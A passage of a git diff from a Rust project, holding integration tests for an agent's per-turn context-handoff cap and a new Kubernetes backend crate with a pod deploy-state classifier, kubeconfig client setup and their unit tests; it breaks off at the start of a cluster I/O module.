("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "100"), + // Cap of 1 per turn. Before the fix this permanently disables the + // gate once session handoff_count reaches 1. + ("BUZZ_AGENT_MAX_HANDOFFS", "1"), + ( + "BUZZ_AGENT_MAX_HISTORY_BYTES", + &(16 * 1024 * 1024).to_string(), + ), + ], + ) + .await; + let sid = init_session(&mut h, json!([])).await; + + // Turn 1: no prior usage; preflight skips (byte-fallback not triggered by + // tiny prompt). complete() stores usage=950. + let p1 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"turn 1"}]}), + ) + .await; + let _ = h.recv_until(|v| v["id"] == json!(p1)).await; + assert_eq!( + llm.captured.lock().await.len(), + 1, + "turn 1 must produce exactly 1 LLM request" + ); + + // Turn 2: 950 >= threshold=900 → handoff fires. Session handoff_count: 1. + let p2 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"turn 2"}]}), + ) + .await; + let _ = h.recv_until(|v| v["id"] == json!(p2)).await; + assert_eq!( + llm.captured.lock().await.len(), + 3, + "turn 2 must produce 2 LLM requests (summarize + complete), 3 total" + ); + let stderr = h.stderr_text(); + assert!( + stderr.contains("handoff #1"), + "expected first handoff log after turn 2; got: {stderr}" + ); + + // Turn 3: turn_handoff_count resets to 0 → gate fires again despite + // session handoff_count=1 == cap=1. + let p3 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"turn 3"}]}), + ) + .await; + let _ = h.recv_until(|v| v["id"] == json!(p3)).await; + assert_eq!( + llm.captured.lock().await.len(), + 5, + "turn 3 must also produce 2 LLM requests (per-turn cap reset → handoff fires again), \ + 5 total" + ); + let stderr = h.stderr_text(); + assert!( + stderr.contains("handoff #2"), + "expected second handoff log after turn 3 (cap reset); got: {stderr}" + ); + + h.shutdown().await; +} + +/// Within a single turn, the per-turn cap still bounds the number of handoffs. +/// A turn that exceeds `max_handoffs` compaction attempts must emit a WARN and +/// fall back to truncation — it must NOT compact indefinitely. +/// +/// Mechanism: with cap=1 and a multi-round turn (tool call in round 1 → round 2), +/// the pre-flight handoff fires at the start of round 1 (usage from a *previous* +/// turn is high). After the compaction, the post-handoff complete() in round 1 +/// returns a tool call, causing a second round. Round 2's preflight sees that +/// turn_handoff_count=1 == max_handoffs=1, so it refuses and emits WARN. +/// +/// A steer is injected while the run is active to prove that the steer path +/// does NOT reset `handoff_attempts` — the cap must still fire on round 1 with +/// no second summarize call. +/// +/// This test requires a fake MCP server to produce a tool-call round. +/// It drives via `fake-mcp` — the same binary used in other multi-round tests. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn handoff_cap_binds_within_a_single_turn() { + // LLM call sequence in turn 2 (turn 1 seeds the usage): + // req 1: turn 1 complete() → usage=950 (over threshold=900) + // req 2: turn 2 round 0 summarize() → summary (handoff_attempts: 0→1) + // req 3: turn 2 round 0 complete() → tool_call + usage=950 (re-arms gate) + // [fake-mcp tool executes; steer queued while run is active] + // req 4: turn 2 round 1 preflight → 950 >= 900 AND attempts=1 >= max=1 + // → WARN, skip (cap exhausted for this turn) + // req 5: turn 2 round 1 complete() → end_turn (steer text folded into messages) + let fake_mcp = env!("CARGO_BIN_EXE_fake-mcp"); + // Build a tool-call response that also carries usage so the gate re-arms + // on round 1's preflight (without usage, last_request_input_tokens is None + // after the handoff clears it, and the byte-fallback won't fire on tiny history). + let tool_call_with_usage = { + let mut v = openai_tool_call("tc-1", "test_tool", json!({})); + v["usage"] = json!({ + "prompt_tokens": 950u64, + "completion_tokens": 5, + "total_tokens": 955, + }); + v + }; + let llm = spawn_capturing_llm(vec![ + openai_text_with_usage("seed", 950), // turn 1: seed high usage + openai_text("handoff-summary"), // turn 2 round 0: summarize + tool_call_with_usage, // turn 2 round 0: tool call + usage (re-arms) + openai_text_with_usage("end_turn_text", 10), // turn 2 round 1: final answer + ]) + .await; + + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "1000"), + ("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "100"), + ("BUZZ_AGENT_MAX_HANDOFFS", "1"), + ( + "BUZZ_AGENT_MAX_HISTORY_BYTES", + &(16 * 1024 * 1024).to_string(), + ), + ], + ) + .await; + + // Init with the fake MCP server so test_tool is available. + h.send( + "initialize", + json!({"protocolVersion":1,"clientCapabilities":{}}), + ) + .await; + let _ = h.recv().await; + h.send( + "session/new", + json!({ + "cwd": "/tmp", + "mcpServers": [{ + "name": "cap_test", + "command": fake_mcp, + "args": [], + "env": [{ "name": "FAKE_MCP_TOOL_COUNT", "value": "1" }], + }], + }), + ) + .await; + let r = h + .recv_until(|v| v.get("result").is_some() || v.get("error").is_some()) + .await; + let sid = r["result"]["sessionId"].as_str().unwrap().to_owned(); + + // Turn 1: seed high usage. + let p1 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"seed"}]}), + ) + .await; + let _ = h.recv_until(|v| v["id"] == json!(p1)).await; + + // Turn 2: triggers a handoff at round 0, then a tool call, then round 1 + // where the cap is already exhausted. A steer is injected while the run + // is active to prove mid-turn steers cannot reset `handoff_attempts`. + let p2 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"do work"}]}), + ) + .await; + + // Drain until the final response, approving tool-permission requests, + // capturing the activeRunId once it is broadcast, sending one steer, + // and verifying that it is accepted in the live run. + let mut run_id: Option = None; + let mut steer_id: i64 = -1; + let mut steer_accepted = false; + loop { + let v = h.recv().await; + + // Capture the run id from the first session/update that carries it, + // then immediately queue a steer. This must happen before round 1 so + // the steer text is present but the cap check still fires — proving + // the counter is not reset by the steer path. + if run_id.is_none() { + if let Some(rid) = v["params"]["update"]["_meta"]["goose"]["activeRunId"].as_str() { + run_id = Some(rid.to_owned()); + steer_id = h + .send( + "_goose/unstable/session/steer", + json!({ + "sessionId": sid, + "expectedRunId": rid, + "prompt": [{"type":"text","text":"STEER-CANARY: also consider the edge case"}], + }), + ) + .await; + } + } + + // Steer response: assert it was accepted in the live run. + if steer_id >= 0 && v["id"] == json!(steer_id) { + assert!( + v.get("result").is_some(), + "steer must be accepted while the run is active; got: {v}" + ); + assert_eq!( + v["result"]["runId"].as_str(), + run_id.as_deref(), + "steer must reference the live run id" + ); + steer_accepted = true; + continue; + } + + if v.get("method") == Some(&json!("session/request_permission")) { + let id = v["id"].clone(); + h.write(json!({ + "jsonrpc": "2.0", + "id": id, + "result": { "outcome": { "outcome": "selected", "optionId": "allow" } }, + })) + .await; + continue; + } + if v["id"] == json!(p2) { + assert!( + v.get("result").is_some(), + "turn 2 must succeed even when cap blocks round-1 handoff; got: {v}" + ); + break; + } + } + + assert!( + steer_accepted, + "steer was never accepted during turn 2; the steer arm is missing coverage" + ); + + // 4 LLM requests: seed + summarize + tool-call-with-usage + final-complete. + let count = llm.captured.lock().await.len(); + assert_eq!( + count, 4, + "expected 4 LLM requests (seed + summarize + tool-call + final); got {count}" + ); + + let stderr = h.stderr_text(); + assert!( + stderr.contains("handoff cap reached"), + "expected cap-reached WARN in stderr; got: {stderr}" + ); + assert!( + stderr.contains("reason=\"preflight\""), + "expected reason=\"preflight\" field in cap WARN; got: {stderr}" + ); + assert!( + stderr.contains("handoff_attempts="), + "expected handoff_attempts field in cap WARN; got: {stderr}" + ); + assert!( + stderr.contains("max_handoffs="), + "expected max_handoffs field in cap WARN; got: {stderr}" + ); + + h.shutdown().await; +} + +/// A failing `summarize()` call must still consume one slot from the per-turn +/// handoff-attempt budget. Before the fix, `handoff_count` was incremented only +/// on a successful compaction; a flaky summarizer could be retried indefinitely +/// within a turn. The fix moves the increment to before `summarize()`. +/// +/// Proof: with `max_handoffs=1` and a multi-round turn: +/// - Round 0 preflight: threshold met, attempts: 0→1, summarize() fails → Skipped. +/// - Round 1 preflight: attempts=1 >= cap=1 → WARN (cap hit despite no successful +/// compaction). Without the pre-summarize increment, attempts would still be 0 +/// here and a second summarize() would be attempted — the bug. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn failed_summarize_burns_handoff_attempt_budget() { + // We need the summarize() call to fail. The summarize path uses the same + // fake LLM server; we queue an HTTP error body for the summarize request. + // But our spawn_capturing_llm always returns 200, so we use a non-OpenAI- + // shaped response that the agent will treat as an error (missing `choices`). + // + // LLM call sequence: + // req 1: turn 1 complete() → usage=950 (seeds the gate) + // req 2: turn 2 round 0 summarize() → malformed response (treated as error) + // handoff_attempts incremented to 1 BEFORE this + // req 3: turn 2 round 0 complete() → tool_call + usage=950 (re-arms gate) + // req 4: turn 2 round 1 preflight → cap reached: WARN (attempts=1 >= max=1) + // req 5: turn 2 round 1 complete() → end_turn + let fake_mcp = env!("CARGO_BIN_EXE_fake-mcp"); + let bad_summary_response = json!({ "error": "upstream unavailable" }); // no `choices` + let tool_call_with_usage = { + let mut v = openai_tool_call("tc-2", "test_tool", json!({})); + v["usage"] = json!({ + "prompt_tokens": 950u64, + "completion_tokens": 5, + "total_tokens": 955, + }); + v + }; + let llm = spawn_capturing_llm(vec![ + openai_text_with_usage("seed", 950), // turn 1: seed usage + bad_summary_response, // turn 2 round 0: summarize fails + tool_call_with_usage, // turn 2 round 0: complete → tool call + openai_text_with_usage("done", 10), // turn 2 round 1: final answer + ]) + .await; + + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "1000"), + ("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "100"), + ("BUZZ_AGENT_MAX_HANDOFFS", "1"), + ( + "BUZZ_AGENT_MAX_HISTORY_BYTES", + &(16 * 1024 * 1024).to_string(), + ), + ], + ) + .await; + + h.send( + "initialize", + json!({"protocolVersion":1,"clientCapabilities":{}}), + ) + .await; + let _ = h.recv().await; + h.send( + "session/new", + json!({ + "cwd": "/tmp", + "mcpServers": [{ + "name": "budget_test", + "command": fake_mcp, + "args": [], + "env": [{ "name": "FAKE_MCP_TOOL_COUNT", "value": "1" }], + }], + }), + ) + .await; + let r = h + .recv_until(|v| v.get("result").is_some() || v.get("error").is_some()) + .await; + let sid = r["result"]["sessionId"].as_str().unwrap().to_owned(); + + // Turn 1: seed high usage. + let p1 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"seed"}]}), + ) + .await; + let _ = h.recv_until(|v| v["id"] == json!(p1)).await; + + // Turn 2: round 0 summarize fails, but attempts was already incremented. + // Round 1 preflight must see cap hit and emit WARN. + let p2 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"work"}]}), + ) + .await; + + loop { + let v = h.recv().await; + if v.get("method") == Some(&json!("session/request_permission")) { + let id = v["id"].clone(); + h.write(json!({ + "jsonrpc": "2.0", + "id": id, + "result": { "outcome": { "outcome": "selected", "optionId": "allow" } }, + })) + .await; + continue; + } + if v["id"] == json!(p2) { + assert!(v.get("result").is_some(), "turn 2 must succeed; got: {v}"); + break; + } + } + + let stderr = h.stderr_text(); + // Round 0: the failed summarize should warn about the failure. + assert!( + stderr.contains("handoff failed") || stderr.contains("handoff returned empty"), + "expected summarize-failure WARN; got: {stderr}" + ); + // Round 1: cap must be hit (attempts=1 from the failed attempt). + assert!( + stderr.contains("handoff cap reached"), + "expected cap-reached WARN after failed summarize burned the attempt; got: {stderr}" + ); + + h.shutdown().await; +} diff --git a/crates/buzz-backend-kubernetes/Cargo.toml b/crates/buzz-backend-kubernetes/Cargo.toml new file mode 100644 index 0000000000..1cd17030db --- /dev/null +++ b/crates/buzz-backend-kubernetes/Cargo.toml @@ -0,0 +1,36 @@ +[package] +name = "buzz-backend-kubernetes" +version.workspace = true +edition.workspace = true +rust-version.workspace = true +license.workspace = true +description = "Kubernetes backend provider for Buzz remote agents (docs/remote-agents.md)" + +[[bin]] +name = "buzz-backend-kubernetes" +path = "src/main.rs" + +[dependencies] +kube = { workspace = true } +k8s-openapi = { workspace = true } +nostr = { workspace = true } +tokio = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +sha2 = { workspace = true } +hex = { workspace = true } +rand = { workspace = true } +chrono = { workspace = true } +http = "1" +http-body-util = "0.1" + +# Explicit rustls dep with the ring provider — required to install the +# process-level CryptoProvider at startup. Without it this binary panics on its +# first TLS connection to the apiserver: the release build compiles every +# sidecar in one cargo invocation (.github/workflows/release.yml), which unifies +# both ring and aws-lc-rs features and leaves rustls unable to auto-select a +# provider. Same dependency and reason as crates/buzz-cli/Cargo.toml. +rustls = { version = "0.23", default-features = false, features = ["ring", "std"] } + +[dev-dependencies] +tower = { workspace = true } diff --git a/crates/buzz-backend-kubernetes/src/classify.rs b/crates/buzz-backend-kubernetes/src/classify.rs new file mode 100644 index 0000000000..e9cfaba402 --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/classify.rs @@ -0,0 +1,377 @@ +//! The deploy state machine (spec §Deploy State Machine), as a pure function. +//! +//! `classify` maps a verified observation plus the desired create intent to +//! one [`Action`]. It performs no I/O, so every row of the spec's table is a +//! unit test with no cluster. `reconcile` executes actions and re-enters. +//! +//! Two invariants are structural rather than remembered: +//! +//! * [`Action::Delete`] carries the [`Fence`] from the exact observation that +//! authorized it. There is no way to build a delete without one, so a later +//! helper cannot re-read and silently substitute a fresher fence. +//! * The pull-failure classifier ([`PullFailure`]) reaches only +//! [`Action::Report`] and [`Action::Observe`]. It is absent from +//! `Action::Delete`'s type, so "reason strings are never deletion +//! authority" is enforced by the compiler. + +use crate::intent::Fingerprint; + +/// The compare-and-delete fence: UID + resourceVersion from the observation +/// that authorized the deletion. A failed precondition means the object +/// changed since the read — re-enter, never retry the delete. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Fence { + pub uid: String, + pub resource_version: String, +} + +/// Why a pod that never started looks permanently broken. Reporting only. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum PullFailure { + /// Registry auth: a 403/401 `ImagePullBackOff` retries forever without + /// ever succeeding, so "the pull retries" is false for this case. + Unauthorized, + /// The digest or repository does not exist at that registry. + ManifestUnknown, + /// The image has no variant for the node's architecture. + ArchMismatch, +} + +/// The container's startup state, already decoded from pod status. Decoding +/// happens at the edge so this module stays free of API types. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Startup { + /// `state.running` — the harness process is up. This, not pod phase, is + /// what "live" means. + Started, + /// Started once and reached a terminal phase (Succeeded/Failed). + Terminated, + /// Never started, and self-healing is plausible: unschedulable during + /// scale-from-zero, an image pull in progress, a transient + /// `CreateContainerConfigError` whose Secret exists. + NeverStartedRecoverable, + /// Never started, and the provider *verified* the cause — not a reason + /// string. Either the referenced Secret is confirmed absent by a + /// most-recent read, or the image reference is structurally invalid. + NeverStartedProvablyBroken, + /// Never started; the pull is failing in a way that will not self-heal. + /// Still recoverable in the *never delete* sense — this only changes what + /// we report and how long we wait. + NeverStartedPullFailing(PullFailure), +} + +/// A pod that passed identity and ownership verification: label-selected, +/// full-pubkey annotation equal to the derived pubkey, management marker +/// present. Constructing this type is the verification step's output, so an +/// unverified object cannot reach `classify` at all. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct VerifiedPod { + pub name: String, + pub fence: Fence, + /// Set once the apiserver accepts a delete. In Kubernetes there is no + /// `Terminating` phase — a pod being gracefully deleted stays in phase + /// `Running` for its whole grace period — so this must be checked + /// *before* startup state or the dying pod reads as the no-op row. + pub deletion_marked: bool, + pub startup: Startup, + /// The `buzz.block.xyz/create-intent` annotation as recorded at create. + /// `None` for a pod written before the annotation existed, which counts + /// as divergence. + pub recorded_intent: Option, +} + +/// What the reconciler should do next. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Action { + /// Create the pod, then wait for the harness container to start. + Create, + /// Compare-and-delete, poll for actual disappearance, then re-enter. + Delete { name: String, fence: Fence }, + /// Wait for a deletion already in flight, then re-enter. + AwaitDisappearance { name: String }, + /// Strict no-op: return this `agent_id`, mutate nothing. + NoOp { agent_id: String }, + /// Keep observing until started or the operation deadline expires; on + /// expiry report the latest condition. Never deletes, on this call or any + /// later one. + Observe { name: String }, + /// Surface an actionable condition immediately rather than burning the + /// deadline on a failure that will not self-heal. + Report { name: String, failure: PullFailure }, +} + +/// Apply the spec's ordered rules to one verified observation. +/// +/// `desired` is the freshly computed create intent; comparison is always +/// recorded-annotation vs freshly-computed, never a diff against the live pod +/// (admission defaulting would make every pod look divergent). +pub fn classify(observed: Option<&VerifiedPod>, desired: &Fingerprint) -> Action { + let Some(pod) = observed else { + // Row: no instance → create. First deploy, or after GC. + return Action::Create; + }; + + // Row: deletion-marked, ANY phase. Checked before startup state because + // there is no `Terminating` phase to match on — a gracefully deleting pod + // reports phase `Running` throughout its grace period, so testing startup + // first would mistake it for the live no-op row and return an id that + // evaporates. + if pod.deletion_marked { + return Action::AwaitDisappearance { + name: pod.name.clone(), + }; + } + + match &pod.startup { + // Row: live and started → strict no-op. Start must never kill a live + // agent mid-turn, whatever the fingerprint says. + Startup::Started => Action::NoOp { + agent_id: pod.name.clone(), + }, + + // Row: terminated → delete residue, then re-enter to create. This is + // the normal restart path — how a user revives a reaped agent. + Startup::Terminated => Action::Delete { + name: pod.name.clone(), + fence: pod.fence.clone(), + }, + + // Row: never started, provably non-recoverable → fenced replace. + // "Provably" means a verified absence or a structural defect, never a + // reason string. + Startup::NeverStartedProvablyBroken => Action::Delete { + name: pod.name.clone(), + fence: pod.fence.clone(), + }, + + // Inside the recoverable row: a pull that will not self-heal is + // reported immediately instead of consuming the 600s deadline. This + // changes reporting and wait behavior only — no delete authority. + Startup::NeverStartedPullFailing(failure) => Action::Report { + name: pod.name.clone(), + failure: *failure, + }, + + // Row: never started, recoverable — split on create-intent + // divergence. Divergence is evidence of a config change the user is + // waiting on, and it is the *only* thing that replaces a + // never-started pod. Pod age triggers nothing: any finite age + // threshold collides with Cluster Autoscaler's own pod-age delays, + // and delete-recreate resets exactly the age it keys on. + Startup::NeverStartedRecoverable => { + if pod.recorded_intent.as_ref() == Some(desired) { + Action::Observe { + name: pod.name.clone(), + } + } else { + Action::Delete { + name: pod.name.clone(), + fence: pod.fence.clone(), + } + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn fp(seed: &str) -> Fingerprint { + Fingerprint::for_test(seed) + } + + fn pod(startup: Startup, intent: Option) -> VerifiedPod { + VerifiedPod { + name: "buzz-agent-abc123def456".into(), + fence: Fence { + uid: "uid-1".into(), + resource_version: "rv-1".into(), + }, + deletion_marked: false, + startup, + recorded_intent: intent, + } + } + + #[test] + fn no_instance_creates() { + assert_eq!(classify(None, &fp("a")), Action::Create); + } + + #[test] + fn started_pod_is_strict_no_op() { + let p = pod(Startup::Started, Some(fp("a"))); + assert_eq!( + classify(Some(&p), &fp("a")), + Action::NoOp { + agent_id: p.name.clone() + } + ); + } + + /// The asymmetry the spec states plainly: an edit cannot reach a started + /// pod until it exits, but it *can* reach a never-started one — the + /// never-started pod is the one the user is editing because it did not + /// start. + #[test] + fn started_pod_no_ops_even_when_intent_diverges() { + let p = pod(Startup::Started, Some(fp("old"))); + assert_eq!( + classify(Some(&p), &fp("new")), + Action::NoOp { + agent_id: p.name.clone() + } + ); + } + + /// In Kubernetes a gracefully deleting pod stays in phase `Running`. If + /// the deletion mark were checked after startup state, this pod would + /// take the no-op row and `deploy` would return an id that evaporates. + #[test] + fn deletion_mark_beats_every_startup_state() { + for startup in [ + Startup::Started, + Startup::Terminated, + Startup::NeverStartedRecoverable, + Startup::NeverStartedProvablyBroken, + Startup::NeverStartedPullFailing(PullFailure::Unauthorized), + ] { + let mut p = pod(startup.clone(), Some(fp("a"))); + p.deletion_marked = true; + assert_eq!( + classify(Some(&p), &fp("a")), + Action::AwaitDisappearance { + name: p.name.clone() + }, + "deletion mark ignored for {startup:?}" + ); + } + } + + #[test] + fn terminated_pod_is_replaced() { + let p = pod(Startup::Terminated, Some(fp("a"))); + assert_eq!( + classify(Some(&p), &fp("a")), + Action::Delete { + name: p.name.clone(), + fence: p.fence.clone() + } + ); + } + + /// A never-started winner is repairable: pod exists, Secret confirmed + /// absent, container never started. A later deploy must delete-recreate + /// rather than no-op — the test that pins started-not-phase as the no-op + /// criterion. + #[test] + fn provably_broken_never_started_pod_is_replaced() { + let p = pod(Startup::NeverStartedProvablyBroken, Some(fp("a"))); + assert_eq!( + classify(Some(&p), &fp("a")), + Action::Delete { + name: p.name.clone(), + fence: p.fence.clone() + } + ); + } + + /// The anti-livelock rule: identical desired intent means *never* delete, + /// however long the pod has been pending. Age is not an input to this + /// function at all, which is the strongest way to say so. + #[test] + fn recoverable_with_matching_intent_only_observes() { + let p = pod(Startup::NeverStartedRecoverable, Some(fp("same"))); + assert_eq!( + classify(Some(&p), &fp("same")), + Action::Observe { + name: p.name.clone() + } + ); + } + + /// Repeated identical Starts can never delete anything — the same + /// classification, arbitrarily many times. + #[test] + fn repeated_identical_starts_never_delete() { + let p = pod(Startup::NeverStartedRecoverable, Some(fp("same"))); + for _ in 0..100 { + assert!(!matches!( + classify(Some(&p), &fp("same")), + Action::Delete { .. } + )); + } + } + + /// The wedge escape: the user corrected a resource request or image, so + /// the never-started pod is built from configuration they have since + /// changed. Without this row the edit could never materialize. + #[test] + fn recoverable_with_divergent_intent_is_replaced() { + let p = pod(Startup::NeverStartedRecoverable, Some(fp("old"))); + assert_eq!( + classify(Some(&p), &fp("new")), + Action::Delete { + name: p.name.clone(), + fence: p.fence.clone() + } + ); + } + + /// A pod predating the annotation has no recorded intent — that is + /// absence, which the spec groups with divergence. + #[test] + fn missing_recorded_intent_counts_as_divergence() { + let p = pod(Startup::NeverStartedRecoverable, None); + assert_eq!( + classify(Some(&p), &fp("any")), + Action::Delete { + name: p.name.clone(), + fence: p.fence.clone() + } + ); + } + + /// Permanent-looking pull failures report immediately instead of burning + /// 600s — and, critically, never delete. + #[test] + fn pull_failures_report_and_never_delete() { + for failure in [ + PullFailure::Unauthorized, + PullFailure::ManifestUnknown, + PullFailure::ArchMismatch, + ] { + let p = pod(Startup::NeverStartedPullFailing(failure), Some(fp("a"))); + // Divergent intent too — still no delete from this arm. + for desired in [fp("a"), fp("different")] { + assert_eq!( + classify(Some(&p), &desired), + Action::Report { + name: p.name.clone(), + failure + } + ); + } + } + } + + /// Every delete carries the fence from the observation that authorized + /// it. Exhaustive over the delete-producing states, so a future arm that + /// forgets is caught here rather than in a cluster. + #[test] + fn every_delete_carries_the_authorizing_fence() { + let states = [ + (Startup::Terminated, fp("a")), + (Startup::NeverStartedProvablyBroken, fp("a")), + (Startup::NeverStartedRecoverable, fp("divergent")), + ]; + for (startup, desired) in states { + let p = pod(startup, Some(fp("a"))); + match classify(Some(&p), &desired) { + Action::Delete { fence, .. } => assert_eq!(fence, p.fence), + other => panic!("expected Delete, got {other:?}"), + } + } + } +} diff --git a/crates/buzz-backend-kubernetes/src/client.rs b/crates/buzz-backend-kubernetes/src/client.rs new file mode 100644 index 0000000000..0c3bed65b7 --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/client.rs @@ -0,0 +1,182 @@ +//! Cluster auth and client construction (spec §Cluster auth, +//! `docs/remote-agents.md:985-995`). +//! +//! Standard kubeconfig resolution (`$KUBECONFIG` → `~/.kube/config`). +//! `provider_config` carries `context` and `namespace` only — credentials +//! never transit config (I2, `:196-198`). + +use kube::config::{ExecConfig, KubeConfigOptions, Kubeconfig}; +use kube::{Client, Config}; +use std::path::{Path, PathBuf}; + +/// Directories prepended to `PATH` before the client is built. +/// +/// Kubeconfigs at Block near-universally authenticate through `exec` +/// credential plugins (`aws eks get-token`, `gke-gcloud-auth-plugin`) that +/// resolve via `PATH` — and this provider inherits a Finder-launched +/// desktop's minimal `PATH`, which contains none of the places those plugins +/// install to (`:989-994`). +const PATH_PREPEND: [&str; 2] = ["/opt/homebrew/bin", "/usr/local/bin"]; + +/// Compute the new `PATH` value: plugin directories first, inherited entries +/// after, in order. Pure so the ordering can be tested without mutating the +/// process's environment. +fn prepended_path(home: Option<&Path>, existing: &std::ffi::OsStr) -> Option { + let mut dirs: Vec = PATH_PREPEND.iter().map(PathBuf::from).collect(); + if let Some(home) = home { + dirs.push(home.join(".local/bin")); + } + // An empty inherited PATH splits into one empty entry, which POSIX + // resolves as the current directory — a place a credential plugin should + // never be looked up. Drop empties rather than propagate them. + dirs.extend(std::env::split_paths(existing).filter(|p| !p.as_os_str().is_empty())); + std::env::join_paths(dirs).ok() +} + +/// Prepend the plugin directories to this process's `PATH`. +/// +/// Modifies the provider's own environment, which is sound here: one process +/// per operation, called before any client or task exists, and the child +/// processes that read it are exactly the credential plugins this exists for. +fn prepend_plugin_path() { + let home = std::env::var_os("HOME"); + let existing = std::env::var_os("PATH").unwrap_or_default(); + if let Some(joined) = prepended_path(home.as_ref().map(Path::new), &existing) { + std::env::set_var("PATH", joined); + } +} + +/// Is `command` runnable — an executable on `PATH`, or an existing path? +fn resolves_on_path(command: &str) -> bool { + if command.contains(std::path::MAIN_SEPARATOR) { + return Path::new(command).is_file(); + } + std::env::var_os("PATH") + .map(|path| std::env::split_paths(&path).any(|dir| dir.join(command).is_file())) + .unwrap_or(false) +} + +/// The exec plugin the selected context authenticates with, if any. +/// +/// Read from the kubeconfig directly rather than from `Config`, which does not +/// expose it. A read failure yields `None`: this lookup exists only to improve +/// an error message, and must never be the thing that fails a deploy. +fn exec_plugin_for(context: Option<&str>) -> Option { + let kubeconfig = Kubeconfig::read().ok()?; + let context_name = context + .map(str::to_string) + .or_else(|| kubeconfig.current_context.clone())?; + let user_name = kubeconfig + .contexts + .iter() + .find(|c| c.name == context_name) + .and_then(|c| c.context.as_ref()) + .and_then(|c| c.user.clone())?; + kubeconfig + .auth_infos + .iter() + .find(|a| a.name == user_name) + .and_then(|a| a.auth_info.as_ref()) + .and_then(|a| a.exec.clone()) +} + +/// Turn a client-construction failure into an error a user can act on. +/// +/// When the context authenticates through an exec plugin that is not on +/// `PATH`, that is almost always the cause, and the actionable fact is the +/// plugin's name — not a kube-rs error chain (`:994-995`). +fn explain(context: Option<&str>, error: &kube::Error) -> String { + if let Some(command) = exec_plugin_for(context).and_then(|e| e.command) { + if !resolves_on_path(&command) { + return format!( + "kubeconfig context {} authenticates with the credential plugin \ + {command:?}, which is not on PATH. Install it or add its \ + directory to PATH, then try again.", + context.unwrap_or("(current)") + ); + } + } + format!( + "could not connect to the cluster using kubeconfig context {}: {error}", + context.unwrap_or("(current)") + ) +} + +/// Build a client for the selected context. +pub async fn connect(context: Option<&str>) -> Result { + prepend_plugin_path(); + + let options = KubeConfigOptions { + context: context.map(str::to_string), + ..Default::default() + }; + let config = Config::from_kubeconfig(&options).await.map_err(|e| { + // A named context that does not exist is a user typo, and the + // kube-rs message for it is already specific. + format!( + "could not load kubeconfig for context {}: {e}", + context.unwrap_or("(current)") + ) + })?; + + Client::try_from(config).map_err(|e| explain(context, &e)) +} + +#[cfg(test)] +mod tests { + use super::*; + + /// The three plugin directories must end up ahead of the inherited PATH, + /// or a Finder-launched desktop never finds `aws`/`gke-gcloud-auth-plugin`. + /// Tested on the pure computation: mutating the process PATH here would + /// race every other test in the binary. + #[test] + fn plugin_directories_are_prepended_in_order() { + let joined = prepended_path( + Some(Path::new("/tmp/fake-home")), + std::ffi::OsStr::new("/inherited/bin:/usr/bin"), + ) + .unwrap(); + let dirs: Vec = std::env::split_paths(&joined).collect(); + assert_eq!( + dirs, + [ + "/opt/homebrew/bin", + "/usr/local/bin", + "/tmp/fake-home/.local/bin", + "/inherited/bin", + "/usr/bin", + ] + .map(PathBuf::from) + ); + } + + /// No `HOME` is not a failure — the two absolute directories still apply. + #[test] + fn missing_home_still_prepends_the_absolute_directories() { + let joined = prepended_path(None, std::ffi::OsStr::new("/inherited/bin")).unwrap(); + let dirs: Vec = std::env::split_paths(&joined).collect(); + assert_eq!( + dirs, + ["/opt/homebrew/bin", "/usr/local/bin", "/inherited/bin"].map(PathBuf::from) + ); + } + + /// An empty inherited PATH must not produce an empty entry, which the + /// shell and `resolves_on_path` would both read as the cwd. + #[test] + fn empty_inherited_path_yields_no_empty_entry() { + let joined = prepended_path(None, std::ffi::OsStr::new("")).unwrap(); + let dirs: Vec = std::env::split_paths(&joined).collect(); + assert_eq!( + dirs, + ["/opt/homebrew/bin", "/usr/local/bin"].map(PathBuf::from) + ); + } + + #[test] + fn resolves_absolute_paths_directly() { + assert!(resolves_on_path("/bin/sh")); + assert!(!resolves_on_path("/nonexistent/plugin-binary")); + } +} diff --git a/crates/buzz-backend-kubernetes/src/cluster.rs b/crates/buzz-backend-kubernetes/src/cluster.rs new file mode 100644 index 0000000000..755f41f6c8 --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/cluster.rs @@ -0,0 +1,427 @@ +//! The real [`Substrate`]: kube-rs against a live apiserver. +//! +//! Everything that *decides* lives in `classify`/`gc`; this module only +//! performs I/O and maps apiserver responses onto the trait's vocabulary. +//! Three mappings here are normative rather than incidental: +//! +//! * **409 is discriminated on `Status.reason`, never on the code.** A create +//! 409 is `AlreadyExists`; a delete 409 from a failed precondition is +//! `Conflict`. Branching on `code == 409` conflates a lost create race with +//! a stale fence and is the trap the spec names (`:780-794`). +//! * **Reads leave `resourceVersion` unset**, which is the quorum read. `"0"` +//! is the cache read, and a confirmed absence from a cache is proof of +//! nothing (`:761-769`). +//! * **Deletes never set `grace_period_seconds`**, so the object's own 60s +//! budget applies. Passing `0` is a force-kill that discards the shutdown +//! window the pod declares (`:1185-1189`). + +use crate::classify::Fence; +use crate::reconcile::{CreateOutcome, DeleteOutcome, Substrate}; +use chrono::{DateTime, Utc}; +use k8s_openapi::api::core::v1::{Namespace, Pod, Secret}; +use kube::api::{Api, DeleteParams, 